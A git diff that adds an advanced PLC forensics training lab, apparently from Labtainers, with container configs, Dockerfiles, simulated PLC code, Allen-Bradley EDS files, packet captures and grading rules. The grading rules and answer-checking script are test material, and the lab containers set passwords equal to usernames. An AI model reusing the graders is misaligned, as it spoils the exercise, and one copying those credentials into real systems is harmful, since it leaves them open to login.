sufficient when mmaping. + */ + printf("PLC starting, simulated IO on mapped file: %s\n", FILEPATH); + fd = open(FILEPATH, O_RDWR, (mode_t)0600); + if (fd == -1) { + perror("Error opening file for writing"); + exit(EXIT_FAILURE); + } + /* Now the file is ready to be mmapped. + */ + printf("do mmap \n"); + map = mmap(0, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (map == MAP_FAILED) { + close(fd); + printf("Error mmapping the file, fid is %s\n", FILE_ID); + exit(EXIT_FAILURE); + } + printf("done mmap \n"); + /* mmap[0] is water level + mmap[1] is pump, 1 for on, 0 for off */ + FILE *config = fopen("config.txt", "r"); + printf("done fopen config \n"); + if (config == NULL) { + printf("Error opening config file\n"); + exit(EXIT_FAILURE); + } + int min_level = 0; + int max_level = 0; + //printf("do scan \n"); + fscanf(config, "%d %d", &min_level, &max_level); + //printf("done scan \n"); + while(1) + { + int current_level = map[0]; + if(current_level > max_level) + { + map[1] = 1; + }else if(current_level < min_level){ + map[1] = 0; + } + //printf("map 0 is %d\n", map[0]); + //printf("map 1 is %d\n", map[1]); + sleep(1); + } +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/about.txt new file mode 100644 index 000000000..0a7888fbc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/about.txt @@ -0,0 +1 @@ +Forensic analysis of a PLC session from a rouge client -- advanced with CIP and EtherNet/IP protocols. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/start.config new file mode 100644 index 000000000..fa17d604d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/config/start.config @@ -0,0 +1,31 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER investigator + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED plc-forensics_jean_seed + +# SUBNETS +NETWORK PLC_NETWORK + MASK 10.1.100.0/24 + GATEWAY 10.1.100.100 + +# Container name and settings +CONTAINER investigator + USER ubuntu + TERMINALS 2 + TERMINAL_GROUP 1 + PLC_NETWORK 10.1.100.1 + X11 YES +CONTAINER plc + USER Guest + TERMINALS 0 + PLC_NETWORK 10.1.100.2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/dockerfiles/Dockerfile.plc-forensics-adv.investigator.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/dockerfiles/Dockerfile.plc-forensics-adv.investigator.student new file mode 100644 index 000000000..07c3dea53 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/dockerfiles/Dockerfile.plc-forensics-adv.investigator.student @@ -0,0 +1,24 @@ +ARG registry +FROM $registry/labtainer.wireshark +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends tshark ftp + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/dockerfiles/Dockerfile.plc-forensics-adv.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/dockerfiles/Dockerfile.plc-forensics-adv.plc.student new file mode 100644 index 000000000..9202c1627 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/dockerfiles/Dockerfile.plc-forensics-adv.plc.student @@ -0,0 +1,25 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + vsftpd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN chown -R $user_name:$user_name /home/$user_name +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/Makefile new file mode 100644 index 000000000..a7e58dd0f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/Makefile @@ -0,0 +1,6 @@ +plc-forensics.pdf: plc-forensics.docx + soffice --convert-to pdf plc-forensics.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/plc-forensics.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/plc-forensics.docx new file mode 100755 index 000000000..43e4acf58 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/plc-forensics.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/read_first.txt new file mode 100644 index 000000000..785dfa5f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/docs/read_first.txt @@ -0,0 +1,5 @@ +PLC Forensics LAB -- Read this first + +The lab manual for this lab is at: + file://LAB_MANUAL +Right click on the linke and select "Open link". diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/instr_config/goals.config new file mode 100644 index 000000000..5a8cdaed1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/instr_config/goals.config @@ -0,0 +1,4 @@ +# goals.config +# +# Please see labdesigner.md + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/instr_config/results.config new file mode 100644 index 000000000..2192d517c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/instr_config/results.config @@ -0,0 +1,17 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for CNAP lab + +# Student successfully login to FTP +#DOC: Logged into FTP +ftploginok = investigator:ftp.stdout : CONTAINS : 230 Login successful + +#DOC: Retrieved eds file with FTP +ftpgetok = investigator:ftp.stdout : CONTAINS : Opening BINARY mode data connection for 0001000C007D0300.eds + +#DOC: used wget on services.asp +wgetok = investigator:wget.stdout : CONTAINS : Saving to: 'services.asp' + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task1-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task1-trace.pcap new file mode 100644 index 000000000..47d53dfe5 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task1-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task2-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task2-trace.pcap new file mode 100644 index 000000000..7a7d6e622 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task2-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task3-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task3-trace.pcap new file mode 100644 index 000000000..f9896d02d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task3-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task4-trace1.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task4-trace1.pcap new file mode 100644 index 000000000..5c2e7e978 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task4-trace1.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task4-trace2.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task4-trace2.pcap new file mode 100644 index 000000000..245fbed05 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task4-trace2.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task5-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task5-trace.pcap new file mode 100644 index 000000000..f5891b0a2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/Task5-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/adjusttime.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/adjusttime.py new file mode 100755 index 000000000..a11fc6b16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/adjusttime.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# adjusttime.py +# Description: * This is a sample exec file (Python) for 'execute' goals +# * This script will take two arguments +# * 'studenttime' - the time associated with the student +# * 'parameter.PCAPSECOND' - the parameterized PCAPSECOND +# +# Processing: +# This script has a hard-coded time (original time) +# This script will adjust the hard-coded time with the parameterized PCAPSECOND +# If the studenttime equals the adjusted time, the script returns TRUE +# Otherwise, the script returns FALSE + +import os +import sys +import datetime + +# Usage: adjusttime.py +# Arguments: +# - the time associated with the student +# - the parameterized PCAPSECOND +def main(): + #print "Running adjusttime.py" + if len(sys.argv) != 3: + sys.stderr.write("Usage: adjusttime.py \n") + return 0 + + FIX_DATE = "2017-08-03" + ORIG_TIME = "22:30:36.245616" + + studenttime = sys.argv[1] + pcapsecond = sys.argv[2] + addsecond = int(pcapsecond) + #print "adjusttime.py: studenttime is (%s) pcapsecond is (%s)" % (studenttime, pcapsecond) + + if studenttime == "NONE": + return 0 + else: + full_origtime = "%s %s" % (FIX_DATE, ORIG_TIME) + # Take up to the first 6 digits of student time nanoseconds portion only + full_studenttime = "%s %s" % (FIX_DATE, studenttime[0:15]) + #print "adjusttime.py: origtime is (%s) studenttime is (%s)" % (full_origtime, full_studenttime) + origdatetime = datetime.datetime.strptime(full_origtime, "%Y-%m-%d %H:%M:%S.%f") + studentdatetime = datetime.datetime.strptime(full_studenttime, "%Y-%m-%d %H:%M:%S.%f") + newdatetime = origdatetime + datetime.timedelta(seconds=addsecond) + #print origdatetime + #print studentdatetime + #print newdatetime + if newdatetime == studentdatetime: + return 1 + else: + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/fixlocal.sh new file mode 100755 index 000000000..67f93abab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +cd $HOME +# Do editcap to new file to avoid potential corruption +editcap -t EDITCAP_SECONDS Task1-trace.pcap new.Task1-trace.pcap +editcap -t EDITCAP_SECONDS Task2-trace.pcap new.Task2-trace.pcap +editcap -t EDITCAP_SECONDS Task3-trace.pcap new.Task3-trace.pcap +editcap -t EDITCAP_SECONDS Task4-trace1.pcap new.Task4-trace1.pcap +editcap -t EDITCAP_SECONDS Task4-trace2.pcap new.Task4-trace2.pcap +editcap -t EDITCAP_SECONDS Task5-trace.pcap new.Task5-trace.pcap +# Replace when done +mv new.Task1-trace.pcap Task1-trace.pcap +mv new.Task2-trace.pcap Task2-trace.pcap +mv new.Task3-trace.pcap Task3-trace.pcap +mv new.Task4-trace1.pcap Task4-trace1.pcap +mv new.Task4-trace2.pcap Task4-trace2.pcap +mv new.Task5-trace.pcap Task5-trace.pcap + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/treataslocal new file mode 100644 index 000000000..9367116b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_bin/treataslocal @@ -0,0 +1,4 @@ +/usr/bin/ftp +/usr/bin/tcpdump +/usr/bin/tshark +/usr/bin/wget diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/investigator/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0100.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0100.eds new file mode 100644 index 000000000..039480194 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0100.eds @@ -0,0 +1,42 @@ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 1-1-2003; + CreateTime = 12:00:00; + ModDate = 11-11-2003; + ModTime = 2:08:00; + Revision = 1.4; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0100.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 1; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0200.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0200.eds new file mode 100644 index 000000000..176f31395 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0200.eds @@ -0,0 +1,42 @@ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 4-20-2004; + CreateTime = 12:00:00; + ModDate = 4-20-2004; + ModTime = 12:00:00; + Revision = 1.1; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0200.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 2; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0300.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0300.eds new file mode 100644 index 000000000..c8e5dc5d0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0300.eds @@ -0,0 +1,42 @@ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 12-1-2005; + CreateTime = 12:00:00; + ModDate = 12-1-2005; + ModTime = 12:00:00; + Revision = 1.1; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0300.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 3; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0400.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0400.eds new file mode 100644 index 000000000..b1708680a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0400.eds @@ -0,0 +1,54 @@ +$ EDS file for 1756-EWEB R4.x Firmware +$ +$ Revision history: +$ 1.3 08-10-2011 JJW Changed Create and mod time formats. +$ 1.4 06-12-2012 JJW Added capacity parameters for RSLinx browse function. +$ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 04-20-2004; + CreateTime = 12:00:00; + ModDate = 06-12-2012; + ModTime = 12:00:00; + Revision = 1.4; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0400.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 4; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot + +[Capacity] + 1_NumberOfTCPIPConnections = 64; $ Total number of TCP/IP connections supported by CIP router device + 1_TCPIPConnectionReuseTime = 30; $ Sec. TCP/IP connection not avail after TCP/IP attempt to an IP address not present + 1_TCPIPCIPInactivityTimeout = 120; $ Sec. TCP/IP connection not avail after TCP/IP attempt to a non-EtherNet/IP + 1_TCPIPInactivityTimeout = 120; $ Sec. TCP/IP connection remains open with no activity. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0500.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0500.eds new file mode 100644 index 000000000..30e2b03c6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/0001000C007D0500.eds @@ -0,0 +1,53 @@ +$ EDS file for 1756-EWEB R5.x Firmware +$ +$ Revision history: +$ 1.1 03-06-2013 JMS Initial 5.x version. ProdName and Catalog do not have series. +$ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 03-06-2013; + CreateTime = 12:00:00; + ModDate = 03-06-2013; + ModTime = 12:00:00; + Revision = 1.1; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0500.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 5; + MinRev = 1; + ProdName = "1756-EWEB"; + Catalog = "1756-EWEB"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot + +[Capacity] + 1_NumberOfTCPIPConnections = 64; $ Total number of TCP/IP connections supported by CIP router device + 1_TCPIPConnectionReuseTime = 30; $ Sec. TCP/IP connection not avail after TCP/IP attempt to an IP address not present + 1_TCPIPCIPInactivityTimeout = 120; $ Sec. TCP/IP connection not avail after TCP/IP attempt to a non-EtherNet/IP + 1_TCPIPInactivityTimeout = 120; $ Sec. TCP/IP connection remains open with no activity. \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/ReadMe.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/ReadMe.txt new file mode 100644 index 000000000..66eaa26ea --- /dev/null +++ 